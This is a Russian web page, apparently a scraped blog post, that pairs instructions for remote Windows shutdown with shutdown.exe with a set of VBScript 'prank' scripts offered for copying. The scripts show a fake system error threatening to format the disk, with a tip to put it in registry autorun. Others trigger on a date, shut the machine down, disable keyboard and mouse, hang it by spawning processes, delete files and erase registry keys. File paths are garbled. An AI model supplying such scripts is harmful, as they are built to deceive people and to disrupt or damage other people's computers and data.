Vbs скрипт выключение компьютера
Если вы хотите обновить Ваш сервер новыми доработками — то зайдите в наш раздел. Большой выбор готовых решений от наших пользователей
Огромный выбор различных модификаций для Вашего сервера. Пролистайте эти темы! Возможно именно там Вы найдете то, что искали уже давно.
Удаленное выключение компьютера из командной строки
CMD может легко взаимодействовать и с удаленными системами, давайте я покажу, как вы можете завершить работу Windows у двух удаленных компьютеров, у меня это будет система с Windows 10 под именем W10-cl02. Для этого мы используем ключ «m«.
Тут я принудительно завершаю работу удаленного компьютера W10-cl02. Так же вы можете произвести удаленное выключение компьютера и из графического интерфейса, для этого есть ключ -i. Вводим команду:
В результате у вас откроется форма «Диалог удаленного завершения работы», я его уже вам показывал при массовом выключении компьютеров.
Нажимаем кнопку «Добавить» и вводим нужные вам сервера и рабочие станции которые вы планируете выключить.
В выборе действий, указываем «Завершение работы», ставим галку «Предупредить пользователей об этом действии» если нужно сделать отложенное выключение, можете хоть выставить 2 часа. Указываете причину и комментарий при необходимости.
Выскочит предупредительное окно, произойдет выключение компьютера через определенное время, заданное вами ранее.
Как видите утилита командной строки shutdown.exe даже в нынешнее время Windows 10, является отличным инструментом, умеющим выключать компьютер с Windows по нужному сценарию. дополнительную информацию про утилиту shutdown вы можете посмотреть по ссылке:
Vbs скрипт выключение компьютера
Для написания прикола на VBS’е достаточно скопировать нижепреведенный текст в обычный Блокнот и сохранить с расширением VBS
1.) Окно с сообщением:
Hacker = MsgBox(«Windows установил, что вы самый тупой и укуренный отморозок в и-нете и дабы обеспечить вас небольшим геморроем должен отформатировать диск. Да — произвести форматирование немедленно. Нет — сделать это перед окончанием работы системы.», 20, «System error»)
,где 20 — это размеры окна ,если хочешь то измени на другое, «System error» — заголовоr окна — можно заменить на любой
Эту штуку очень прикольно ставить в автозагрузку в реестре
2.) Запуск в зависимости от даты:
В начале if Day(now)>24 Then
и в концэ End If
,где 24 — дата выполнения команд
3.) Вырубаем компы,мышки,клавы
If Day(now)>24 Then Sub Zapadlo(Fuck, Wait) Set WshShell=WScript.CreateObject(«WScript.Shell») X=WshShell.Run(Fuck, Wait) End Sub Call Zapadlo(«rundll32 shell32,SHExitWindowsEx — 1»,True) End If
Поймите, что если в строчку: Call Zapadlo(«. «,True)Вы вставите»C:WINDOWScalc.exe» то включится калькулятор.
Приведу несколько интересных каманд
rundll32 keyboard,disable — отключить клавиатуру
rundll32 mouse,disable — отключить мышь r
undll32 user,swapmousebutton — поменять клавиши мыши местами
4.) Подвесить комп
Set WSHShell=WScript.CreateObject(«WScript.Shell») Sub Zapadlo(Fuck,Wait) Set WshShell=WScript.CreateObject(«WScript.Shell») C=WshShell.Run(Fuck,Wait) End Sub Call Zapadlo(«C:Windowskodakimg.exe»,true) Call Zapadlo(«C:Windowskodakimg.exe»,true) Call Zapadlo(«C:Windowskodakimg.exe»,true) Call Zapadlo(«C:Windowskodakimg.exe»,true) Call Zapadlo(«C:Windowskodakimg.exe»,true) Call Zapadlo(«C:Windowskodakimg.exe»,true) Call Zapadlo(«C:Windowskodakimg.exe»,true) Call Zapadlo(«C:Windowskodakimg.exe»,true)
где C:Windowskodakimg.exe — путь до какой-нибудь солидной программы.После запуска программы запистится столько приложений сколькот раз вы повторите строчку Call Zapadlo(«C:Windowskodakimg.exe»,true) . В результате многократного повторения комп записнет.
5.) Удаляем файло
Set Killer=CreateObject(«Scripting.FileSystemObject») Killer.DeleteFile(«C:myfile.exe»)
6.) Трем ключи в реестре
WSHShell.RegDelete»HKLMSoftwareMicrosoftWindowsCurrentVersionRun Message Start»
Увидел я это где то в нете мне понравилось чутка подправил чтобы работало поисправней, а вот теперь и вы сможете насладится всей этой пакостью
Лучшие новости IT технологий, проверенные факты, электроника, программная и аппаратная часть.
Новые статьи блога, rss лента:
МЕЖДУНАРОДНЫЙ СЕРТИФИКАТ СТАНДАРТА ISO/IEC 27001
Международный сертификат стандарта ISO/IEC 27001 для системы менеджмента информационной безопасности.